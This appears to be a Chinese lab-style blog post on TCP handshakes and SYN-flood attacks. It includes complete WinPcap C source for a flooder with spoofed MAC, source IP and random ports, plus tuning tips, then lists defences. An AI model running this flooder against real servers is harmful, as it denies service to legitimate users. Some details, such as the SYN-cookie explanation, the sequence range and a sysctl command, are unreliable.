背景
我们或许都听过TCP连接的三次握手,四次挥手。大体就是三次握手建立连接,四次挥手断开连接。TCP连接一般的应用场景是服务器开启某一个端口提供某种服务(比如80端口是HTTP的默认端口,用于访问网站),客户机对服务器的该端口建立TCP连接。但是tcp连接也可以是个人连接个人。为了方便叙述,下面统一使用客户端和服务器来表示:服务器代表被动接收方,客户端代表主动连接方。
为了更好地理解SYN-FLOOD攻击原理,就让我们再一次回顾TCP连接的整个过程吧!
1.TCP报文结构
首先我们得回顾一下TCP协议得报文结构:
-
来源连接端口(16位长)
客户端用于建立连接的端口(通常比较大)
-
目的连接端口(16位长)
服务器正在监听的端口(通常较小,如23,80)
-
序列号(seq,32位长)
序号的范围为[0,4284967296] 。 在一个TCP连接中传送的字节流中的每一个字节都按顺序编号而非按包 标号。 该序号表名本报文段数据的第一个字节的序号。序号循环使用,当达到最大值时序号又回到了0。
-
确认号(ack,32位长)
期望收到的数据的开始序列号。也即已经收到的数据的总字节数加1。
-
数据偏移(4位长)
以4字节为单位计算出的数据段开始地址的偏移值。乘以4就是TCP首部长度(20-60字节)。
-
保留(3比特长)
保留为今后使用,目前需置0(《计算机网络》谢希仁第7版指出保留位占6位,标识符有6位)
- 标志符(9比特长)
- NS—ECN-nonce。(出自维基百科)
- CWR—Congestion Window Reduced。(出自维基百科)
- ECE—ECN-Echo有两种意思,取决于SYN标志的值。(出自维基百科)
- URG—紧急指针字段为1表示高优先级数据包,应用场景如中断命令Control + C。
- ACK—为1表示确认号字段有效。连接建立后所有包都必须把ACK置1.
- PSH—为1表示是带有PUSH标志的数据,指示接收方(注意和URG的区别)应该尽快将这个报文段交给应用层而不用等待缓冲区装满。
- RST—为1表示出现严重差错。可能需要重新创建TCP连接。还可以用于拒绝非法的报文段和拒绝连接请求。
- SYN—为1表示这是连接请求或是连接接受请求,用于创建连接和使顺序号同步
- FIN—为1表示发送方没有数据要传输了,要求释放连接。
-
窗口(WIN,16位长)
表示从本报文段首部的确认号开始,本报文的发送方可以接收的字节数,即接收窗口大小。用于流量控 制,动态变化。
-
校验和(Checksum,16位长)
对TCP伪首部(12字节)、TCP头部和TCP数据,以16位字进行计算所得。这是一个强制性的字段。
-
紧急指针(16位长)
本报文段中的紧急数据的最后一个字节的序号(后面的就是普通数据)。仅在URG=1时才有效。
- 选项字段—最多40字节。每个选项的开始是1字节的kind字段,说明选项的类型。(出自维基百科)
- 0:选项表结束(1字节)
- 1:无操作(1字节)用于选项字段之间的字边界对齐。
- 2:最大报文段长度(4字节,Maximum Segment Size,MSS)通常在创建连接而设置SYN标志的数据包中指明这个选项,指明本端所能接收的最大长度的报文段。通常将MSS设置为(MTU-40)字节,携带TCP报文段的IP数据报的长度就不会超过MTU(MTU最大长度为1518字节,最短为64字节),从而避免本机发生IP分片。只能出现在同步报文段中,否则将被忽略。
- 3:窗口扩大因子(4字节,wscale),取值0-14。用来把TCP的窗口的值左移的位数,使窗口值乘倍。只能出现在同步报文段中,否则将被忽略。这是因为现在的TCP接收数据缓冲区(接收窗口)的长度通常大于65535字节。
- 4:sackOK—发送端支持并同意使用SACK选项。
- 5:SACK实际工作的选项。
- 8:时间戳(10字节,TCP Timestamps Option,TSopt)
- 发送端的时间戳(Timestamp Value field,TSval,4字节)
- 时间戳回显应答(Timestamp Echo Reply field,TSecr,4字节
2. “三次握手”
三次握手的示意图如下:
所谓三次握手(Three-way Handshake),是指建立一个 TCP 连接时,需要客户端和服务器总共发送3个包。
三次握手的目的是连接服务器指定端口,建立 TCP 连接,并同步连接双方的序列号和确认号,交换 TCP 窗口大小信息。
-
第一次握手(SYN=1, seq=x):
客户端发送一个 TCP 的 SYN 标志位置1的包,指明客户端打算连接的服务器的端口,以及初始序号 X,保存在包头的序列号(Sequence Number)字段里。
发送完毕后,客户端进入
SYN_SEND
状态。 -
第二次握手(SYN=1, ACK=1, seq=y, ACKnum=x+1):
服务器发回确认包(ACK)应答。即 SYN 标志位和 ACK 标志位均为1。服务器端选择自己 ISN ( 初始化序号(,Initial Sequence Number,简称ISN )序列号,放到 Seq 域里,同时将确认序号(Acknowledgement Number)设置为客户的 ISN 加1,即X+1。 发送完毕后,服务器端进入
SYN_RCVD
状态。 -
第三次握手(ACK=1,ACKnum=y+1)
客户端再次发送确认包(ACK),SYN 标志位为0,ACK 标志位为1,并且把服务器发来 ACK 的序号字段+1,放在确定字段中发送给对方,并且在数据段放写ISN的+1
发送完毕后,客户端进入
ESTABLISHED
状态,当服务器端接收到这个包时,也进入ESTABLISHED
状态,TCP 握手结束。
3. ”四次挥手“
四次挥手的示意图如下:
TCP 的连接的拆除需要发送四个包,因此称为四次挥手(Four-way handshake),也叫做改进的三次握手。客户端或服务器均可主动发起挥手动作。
-
第一次挥手(FIN=1,seq=x)
假设客户端想要关闭连接,客户端发送一个 FIN 标志位置为1的包,表示自己已经没有数据可以发送了,但是仍然可以接受数据。
发送完毕后,客户端进入
FIN_WAIT_1
状态。 -
第二次挥手(ACK=1,ACKnum=x+1)
服务器端确认客户端的 FIN 包,发送一个确认包,表明自己接受到了客户端关闭连接的请求,但还没有准备好关闭连接。
发送完毕后,服务器端进入
CLOSE_WAIT
状态,客户端接收到这个确认包之后,进入FIN_WAIT_2
状态,等待服务器端关闭连接。 -
第三次挥手(FIN=1,seq=y)
服务器端准备好关闭连接时,向客户端发送结束连接请求,FIN 置为1。
发送完毕后,服务器端进入
LAST_ACK
状态,等待来自客户端的最后一个ACK。 -
第四次挥手(ACK=1,ACKnum=y+1)
客户端接收到来自服务器端的关闭请求,发送一个确认包,并进入
TIME_WAIT
状态,等待可能出现的要求重传的 ACK 包。服务器端接收到这个确认包之后,关闭连接,进入
CLOSED
状态。客户端等待了某个固定时间(两个最大段生命周期,2MSL,2 Maximum Segment Lifetime)之后,没有收到服务器端的 ACK ,认为服务器端已经正常关闭连接,于是自己也关闭连接,进入
CLOSED
状态。
SYN Flood原理
那么什么是SYN Flood攻击呢?简单来说它是一种 DDoS攻击(distributed denial of service).
最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。syn flood属于Dos攻击的一种。
我们先看一下正常的tcp的连接过程和非正常连接过程:
如果恶意的向某个服务器端口发送大量的SYN包,则可以使服务器打开大量的半开连接,分配TCB(Transmission Control Block), 从而消耗大量的服务器资源,同时也使得正常的连接请求无法被相应。当开放了一个TCP端口后,该端口就处于Listening状态,不停地监视发到该端口的Syn报文,一 旦接收到Client发来的Syn报文,就需要为该请求分配一个TCB,通常一个TCB至少需要280个字节,在某些操作系统中TCB甚至需要1300个字节,并返回一个SYN ACK命令,立即转为SYN-RECEIVED即半开连接状态。系统会为此耗尽资源。
编程实现
-
首先定义我们需要的包的结构体:
typedef unsigned int u32; typedef unsigned short u16; typedef unsigned char u8; //以太网帧包结构 typedef struct __eth_header { u8 dstMacAddr[6]; u8 srcMacAddr[6]; u16 ethernetType; } ETH_HEADER; //IP数据包首部格式结构体 typedef struct __ip_header { u8 versionAndHeader; //4位首部长度,和4位IP版本号 u8 serviceType; //8位类型服务 u16 totalLen; //16位总长度 u16 identification; //16位标识,用于分片后合体 u16 flagAndFragPart; //3位标志位(如SYN,ACK,等等)+13位片偏移 u8 ttl; //8位生存时间TTL u8 hiProtovolType; //8位协议(TCP,UDP) u16 headerCheckSum; //16位ip首部效验和 u32 srcIpAddr; //32位伪造IP地址 u32 dstIpAddr; //32位攻击的ip地址 } IP_HEADER; //TCP数据包首部 typedef struct __tcp_header { u16 srcPort; //16位源端口号 u16 dstPort; //16位目的端口号 u32 seqNumber; //32位序列号 u32 ackNumber; //32位确认号 u8 headLen; //4位首部长度(数据偏移)+6位保留字中的前4位 u8 flag; //6位保留字中的后2位+6位标志位 u16 wndSize; //16位窗口大小 u16 checkSum; //16位效验和 u16 uragentPtr; //16位紧急数据偏移量 }TCP_HEADER; //这是TCP的伪报头,在计算TCP的校验和时需要包含 typedef struct __psd_tcp_header { u32 srcIpAddr; //32位源IP地址 u32 dstIpAddr; //32位目的IP地址 u8 padding; //8位用0填充 u8 protocol; //8位协议号 u16 tcpLen; //16位TCP包长度 } PSD_TCP_HEADER;
-
定义一个足够大的字符数组,用于作为包的载体发送;定义一个封包的函数,用于在载体中填充固定的数据(动态数据另外填充)。
u8 packet[1024]; //在此处填充封装包的数据 u8 checkBuff[128]; //用于作为校验和的载体 /* 填充固定数据 */ int pktbuild(char* packet) { //帧首部数据填充 ETH_HEADER ethHeader; memset(ðHeader, 0, sizeof ethHeader); memcpy(ethHeader.dstMacAddr, dstMAC, 6); memcpy(ethHeader.srcMacAddr, srcMAC, 6); ethHeader.ethernetType = htons(0x0800); //IP包首部数据填充 IP_HEADER ipHeader; memset(&ipHeader, 0, sizeof ipHeader); ipHeader.versionAndHeader = 0x45; //版本号4 + 首部长度5 ipHeader.serviceType = 0x00; // 赋值为零 ipHeader.totalLen = htons(40); //ip首部加ip数据(这里是tcp首部) 总共40字节。 ipHeader.identification = htons(0x00); //这里比较随意,任意值皆可 ipHeader.flagAndFragPart = 0x00; //没有分片,所以没有偏移,全部置零 ipHeader.ttl = 124; //跳数。比较随意 ipHeader.hiProtovolType = IPPROTO_TCP; //6表示TCP协议,17表示UDP ipHeader.headerCheckSum = 0x00; //只对IP头作校验 ipHeader.srcIpAddr = inet_addr(srcIP); //源IP使用随机地址 ipHeader.dstIpAddr = inet_addr(dstIP); //目标IP使用固定地址 //TCP包首部数据填充 TCP_HEADER tcpHeader; memset(&tcpHeader, 0, sizeof(tcpHeader)); tcpHeader.dstPort = htons(dstPORT); //目标端口必须是开放的(有服务在监听) tcpHeader.seqNumber = htonl(0x00); //序列号 没有约束 tcpHeader.ackNumber = htonl(0x00); //应答号 置零 tcpHeader.headLen = 0x50; //高四位为数据偏移(首部长度),低四位为保留字全部置零 tcpHeader.flag = 0x02; //SYN=1,表示建立连接请求 tcpHeader.wndSize = htons(16384); tcpHeader.checkSum = 0x00; tcpHeader.uragentPtr = 0x00; //拼接 memset(packet, 0, sizeof(packet)); memcpy(packet, ðHeader, sizeof ethHeader); memcpy(packet + sizeof(ETH_HEADER), &ipHeader, sizeof ipHeader); memcpy(packet + sizeof(ETH_HEADER) + sizeof(IP_HEADER), &tcpHeader, sizeof tcpHeader); return (sizeof(ETH_HEADER) + sizeof(IP_HEADER) + sizeof(TCP_HEADER)); }
-
在死循环中填充动态数据(随机端口和序列号,计算校验和)
seq = (seq > 65436) ? 0 : seq + 40; ipHeader->headerCheckSum = 0; //必须为零,不参与校验和 ipHeader->headerCheckSum = CheckSum((u16*)ipHeader, sizeof(IP_HEADER)); tcpHeader->seqNumber = htonl(seq); psdTcpHeader->seqNumber = htonl(seq); randPORT = rand() % 0xFFFF; //随机端口,防止端口重用 tcpHeader->srcPort = htons(randPORT); psdTcpHeader->srcPort = htons(randPORT); tcpHeader->checkSum = CheckSum((u16*)checkBuff, sizeof(PSD_TCP_HEADER) + sizeof(TCP_HEADER));
-
发送数据包
if (pcap_sendpacket(handle, // Adapter packet, // buffer with the packet sizeofPk // size ) != 0) { fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(handle)); return 3; } Sleep(TIME); //发送间隔时间100ms //system("pause");
-
实验完整源码
//2019.10.27 //by zhyjc6 #include <pcap.h> #include <Packet32.h> #include <stdio.h> #include <WinSock2.h> #include <ntddndis.h> #pragma comment(lib, "ws2_32.lib") #define dstIP "192.168.109.133" //虚拟机1 #define srcIP "192.168.109.128" //虚拟机2 #define srcPORT 9999 #define dstPORT 23 #define IPPROTO_TCP 6 #define TIME 100 typedef unsigned int u32; typedef unsigned short u16; typedef unsigned char u8; u8 dstMAC[] = { 0x00,0x0c,0x29,0x13,0x49,0xc5 }; //虚拟机1mac //u8 srcMAC[] = { 0x32,0xC6,0xB1,0x2D,0x8B,0xF1 }; //实体机 //u8 srcMAC[] = { 0x00,0x0c,0x29,0x68,0x95,0x2e }; //虚拟机2 u8 srcMAC[] = { 0x99,0x99,0x99,0x99,0x99,0x99 }; ///虚假MAC //以太网帧包结构 typedef struct __eth_header { u8 dstMacAddr[6]; u8 srcMacAddr[6]; u16 ethernetType; } ETH_HEADER; //IP数据包首部格式结构体 typedef struct __ip_header { u8 versionAndHeader; //4位首部长度,和4位IP版本号 u8 serviceType; //8位类型服务 u16 totalLen; //16位总长度 u16 identification; //16位标识,用于分片后合体 u16 flagAndFragPart; //3位标志位(如SYN,ACK,等等)+13位片偏移 u8 ttl; //8位生存时间TTL u8 hiProtovolType; //8位协议(TCP,UDP) u16 headerCheckSum; //16位ip首部效验和 u32 srcIpAddr; //32位伪造IP地址 u32 dstIpAddr; //32位攻击的ip地址 } IP_HEADER; //TCP数据包首部 typedef struct __tcp_header { u16 srcPort; //16位源端口号 u16 dstPort; //16位目的端口号 u32 seqNumber; //32位序列号 u32 ackNumber; //32位确认号 u8 headLen; //4位首部长度(数据偏移)+6位保留字中的前4位 u8 flag; //6位保留字中的后2位+6位标志位 u16 wndSize; //16位窗口大小 u16 checkSum; //16位效验和 u16 uragentPtr; //16位紧急数据偏移量 }TCP_HEADER; //这是TCP的伪报头,在计算TCP的校验和时需要包含 typedef struct __psd_tcp_header { u32 srcIpAddr; //32位源IP地址 u32 dstIpAddr; //32位目的IP地址 u8 padding; //8位用0填充 u8 protocol; //8位协议号 u16 tcpLen; //16位TCP包长度 } PSD_TCP_HEADER; //网卡信息 struct DEVS_INFO { char szDevName[512]; char szDevsDescription[512]; }; int GetAllDevs(struct DEVS_INFO devsList[]); USHORT CheckSum(USHORT* buffer, int size); int pktbuild(char * packet); int main(int argc, char** argv) { char szError[PCAP_ERRBUF_SIZE]; //异常缓冲区 int selIndex = 0; //选择网卡接口 u8 packet[1024]; //在此处填充封装包的数据 u8 checkBuff[128]; //用于作为校验和的载体 int seq = 0; //序列号 int sizeofPk = 0; int view = 1; int randPORT; char randIP[128]; srand((u16)time(NULL));//设置随机数种子。 struct DEVS_INFO devsList[64]; int nDevsNum = GetAllDevs(devsList); if (nDevsNum < 1) { printf("Get adapter infomation failed!"); exit(0); } printf("请在以下网卡接口中选择一个使用:\n"); /* 打印网卡接口列表 */ for (int i = 0; i < nDevsNum; ++i) { printf("%d %s\t%s\n", i + 1, devsList[i].szDevName, devsList[i].szDevsDescription); } /* 检查用户输入是否有效 */ scanf_s("%d", &selIndex); if (selIndex < 0 || selIndex > nDevsNum + 1) { printf("Out of range!\nPress any key to exit..."); getch(); return 0; } /* 打开用户选中的网卡适配器 */ pcap_t* handle = pcap_open_live(devsList[selIndex - 1].szDevName, // name of the device 65536, // portion of the packet to capture. It doesn't matter in this case 1, // promiscuous mode (nonzero means promiscuous) 1000, // read timeout szError); // error buffer if (NULL == handle) { printf("Open adapter failed!\nPress any key to exit..."); getch(); return 0; } sizeofPk = pktbuild(packet); //封装固定数据 ETH_HEADER* etherentHeader = (ETH_HEADER*)packet; //取包里对应的段 IP_HEADER* ipHeader = (IP_HEADER*)(packet + sizeof(ETH_HEADER)); TCP_HEADER* tcpHeader = (TCP_HEADER*)(packet + sizeof(ETH_HEADER) + sizeof(IP_HEADER)); memset(checkBuff, NULL, sizeof checkBuff); PSD_TCP_HEADER* psdHeader = (PSD_TCP_HEADER*)checkBuff; //TCP伪首部 TCP_HEADER* psdTcpHeader = (TCP_HEADER*)(checkBuff + sizeof(PSD_TCP_HEADER)); //TCP首部 //TCP伪首部赋值 psdHeader->dstIpAddr = ipHeader->dstIpAddr; psdHeader->srcIpAddr = ipHeader->srcIpAddr; psdHeader->tcpLen = htons(sizeof(TCP_HEADER)); psdHeader->protocol = IPPROTO_TCP; psdHeader->padding = 0x00; //把伪首部和首部叠加存放在checkBuff里 memcpy(checkBuff + sizeof(PSD_TCP_HEADER), tcpHeader, sizeof(TCP_HEADER)); //下面是动态数据赋值 while (TRUE) { if (view % 10 == 1) { //看着玩的 printf("->"); view = 1; } view++; //sprintf_s(randIP,128,"%d.%d.%d.%d", rand(time)%254+2, rand(time)%254+2, rand(time)%254+2, rand(time) % 254 + 2); //printf("%s\n", randIP); seq = (seq > 65436) ? 0 : seq + 40; ipHeader->headerCheckSum = 0; //必须为零,不参与校验和 ipHeader->headerCheckSum = CheckSum((u16*)ipHeader, sizeof(IP_HEADER)); tcpHeader->seqNumber = htonl(seq); psdTcpHeader->seqNumber = htonl(seq); randPORT = rand() % 0xFFFF; //随机端口,防止端口重用 tcpHeader->srcPort = htons(randPORT); psdTcpHeader->srcPort = htons(randPORT); tcpHeader->checkSum = CheckSum((u16*)checkBuff, sizeof(PSD_TCP_HEADER) + sizeof(TCP_HEADER)); if (pcap_sendpacket(handle, // Adapter packet, // buffer with the packet sizeofPk // size ) != 0) { fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(handle)); return 3; } Sleep(TIME); //发送间隔时间100ms system("pause"); } pcap_close(handle); return 0; } //计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0) //然后计算整个IP首部的二进制反码的和。 USHORT CheckSum(USHORT* buffer, int size) { unsigned long cksum = 0; while (size > 1) { cksum += *buffer++; size -= sizeof(USHORT); } if (size) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return (USHORT)(~cksum); } //获取网卡接口列表 int GetAllDevs(struct DEVS_INFO devsList[]) { int nDevsNum = 0; pcap_if_t* alldevs; char errbuf[PCAP_ERRBUF_SIZE]; if (pcap_findalldevs(&alldevs, errbuf) == -1) { return -1; printf("error in pcap_findalldevs_ex: %s\n", errbuf); } for (pcap_if_t* d = alldevs; d != NULL; d = d->next) { strcpy(devsList[nDevsNum].szDevName, d->name); strcpy(devsList[nDevsNum].szDevsDescription, d->description); nDevsNum++; } pcap_freealldevs(alldevs); return nDevsNum; } /* 填充固定数据 */ int pktbuild(char* packet) { //帧首部数据填充 ETH_HEADER ethHeader; memset(ðHeader, 0, sizeof ethHeader); memcpy(ethHeader.dstMacAddr, dstMAC, 6); memcpy(ethHeader.srcMacAddr, srcMAC, 6); ethHeader.ethernetType = htons(0x0800); //IP包首部数据填充 IP_HEADER ipHeader; memset(&ipHeader, 0, sizeof ipHeader); ipHeader.versionAndHeader = 0x45; //版本号4 + 首部长度5 ipHeader.serviceType = 0x00; // 赋值为零 ipHeader.totalLen = htons(40); //ip首部加ip数据(这里是tcp首部) 总共40字节。 ipHeader.identification = htons(0x00); //这里比较随意,任意值皆可 ipHeader.flagAndFragPart = 0x00; //没有分片,所以没有偏移,全部置零 ipHeader.ttl = 124; //跳数。比较随意 ipHeader.hiProtovolType = IPPROTO_TCP; //6表示TCP协议,17表示UDP ipHeader.headerCheckSum = 0x00; //只对IP头作校验 ipHeader.srcIpAddr = inet_addr(srcIP); //源IP使用随机地址 ipHeader.dstIpAddr = inet_addr(dstIP); //目标IP使用固定地址 //TCP包首部数据填充 TCP_HEADER tcpHeader; memset(&tcpHeader, 0, sizeof(tcpHeader)); tcpHeader.dstPort = htons(dstPORT); //目标端口必须是开放的(有服务在监听) tcpHeader.seqNumber = htonl(0x00); //序列号 没有约束 tcpHeader.ackNumber = htonl(0x00); //应答号 置零 tcpHeader.headLen = 0x50; //高四位为数据偏移(首部长度),低四位为保留字全部置零 tcpHeader.flag = 0x02; //SYN=1,表示建立连接请求 tcpHeader.wndSize = htons(16384); tcpHeader.checkSum = 0x00; tcpHeader.uragentPtr = 0x00; //拼接 memset(packet, 0, sizeof(packet)); memcpy(packet, ðHeader, sizeof ethHeader); memcpy(packet + sizeof(ETH_HEADER), &ipHeader, sizeof ipHeader); memcpy(packet + sizeof(ETH_HEADER) + sizeof(IP_HEADER), &tcpHeader, sizeof tcpHeader); return (sizeof(ETH_HEADER) + sizeof(IP_HEADER) + sizeof(TCP_HEADER)); }
开始攻击
-
攻击者抓包
可以看到,攻击者发送三个包,受害者会回应一个包
依次打开包查看详细信息发现:
- 攻击者发送一个SYN包给受害者请求连接
- 攻击者发送一个SYN包给受害者请求连接
- 受害者发送一个ACK包给攻击者确认建立连接并请求攻击者再次确认
- 攻击者发送一个RST包给受害者请求重置连接。
-
受害者抓包
查看端口变化(我们事先启用了telnet服务监听23号端口),受害者正确的收到了攻击者发送的包,也作出了相应的ACK回应,但是我们发现其端口还是没有变化,仍处于监听状态。
-
分析发现原因就在于我们的攻击者在收到了受害者的ACK包后竟然发送了RST包给受害者,这就导致了TCP重置。即受害者不会一直保持半连接状态,所以我们这次换用一个确实存在的但是不在线的主机作为攻击者(使用另一台虚拟机,其MAC地址和ip地址都用真实地址,但是虚拟机不开机)。这样我们真正的攻击者发送了SYN包给受害者,但是受害者发送的ACK包是给我们没开的的虚拟机的,所以我们实体机上面是抓不到包的,而且受害者也收不到任何人的回应,自然就会保持半连接状态了。下面是受害者抓包分析:
不出所料,虚拟机收到的都是清一色的SYN包,再也不会有RST包啦!
我们再次查看攻击的23号telnet端口有没有什么变化:
管用!!!
经过一番摸索,我发现MAC地址可以随意,但是IP地址很严格,作为源IP的地址必须是目标主机ping不通的地址(说实话这个条件有点苛刻)。端口也有一定的约束,就是不能固定使用一个端口,否则会报tcp port number reused.
所以我是采用了一个随意的MAC地址和一个虚拟机2的ip,虚拟机2和虚拟机1在同一网络但不开机,端口使用随机端口,防止端口重用。
如何防范SYN-flood攻击
攻击方式
SYN-flood攻击大概有以下三种攻击方式:
- Direct Attack 攻击方使用固定的源地址发起攻击,这种方法对攻击方的消耗最小。
- Spoofing(欺骗) Attack 攻击方使用变化的源地址发起攻击,这种方法需要攻击方不停地修改源地址,实际上消耗也不大。
- Distributed Direct Attack 这种攻击主要是使用僵尸网络进行固定源地址的攻击
防御手段
SYN攻击不能完全被阻止,除非将TCP协议重新设计。我们所做的是尽可能的减轻SYN攻击的危害。常见的防御 SYN 攻击的方法有如下几种:
-
缩短超时(SYN Timeout)时间
由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,这个值=SYN攻击的频度 x SYN Timeout,所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间,例如设置为20秒以下,可以成倍的降低服务器的负荷。但过低的SYN Timeout设置可能会影响客户的正常访问。
注意:缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效
-
增加最大半连接数
在Linux中执行命令”sysctl -a grep net.ipv4.tcp_max_syn_backlog”可以查看最大半连接数,一般来说大小为128,这个默认值对于Web服务器来说是远远不够的,一次简单的SYN攻击就足以将其完全占用。因此,防御DOS攻击最简单的办法就是增大这个默认值,在Linux中执行命令”sysctl -w et.ipv4.tcp_max_syn_backlog=3000”,这样就可以将队列SYN最大半连接数容量值改为3000了 -
过滤网关防护
一种方式是防止墙确认连接的有效性后,防火墙才会向内部服务器发起SYN请求。防火墙代服务器发出的SYN ACK包使用的序列号为c, 而真正的服务器回应的序列号为c’, 这样,在每个数据报文经过防火墙的时候进行序列号的修改。
另一种方式是防火墙确定了连接的安全后,会发出一个safe reset命令,client会进行重新连接,这时出现的syn报文会直接放行。这样不需要修改序列号了。但是,client需要发起两次握手过程,因此建立连接的时间将会延长。
-
SYN cookies技术
给每一个请求连接的IP地址分配一个Cookie,如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,并记录地址信息,以后从这个IP地址来的包会被一概丢弃。这样做的结果也可能会影响到正常用户的访问。
检测手段
检测 SYN 攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址或端口是随机的,基本上可以断定这是一次SYN攻击。在 Linux/Unix/Windows 上可以使用系统自带的 netstat -ano 命令来检测端口的具体情况, 快速判断是否遭受了 SYN 攻击。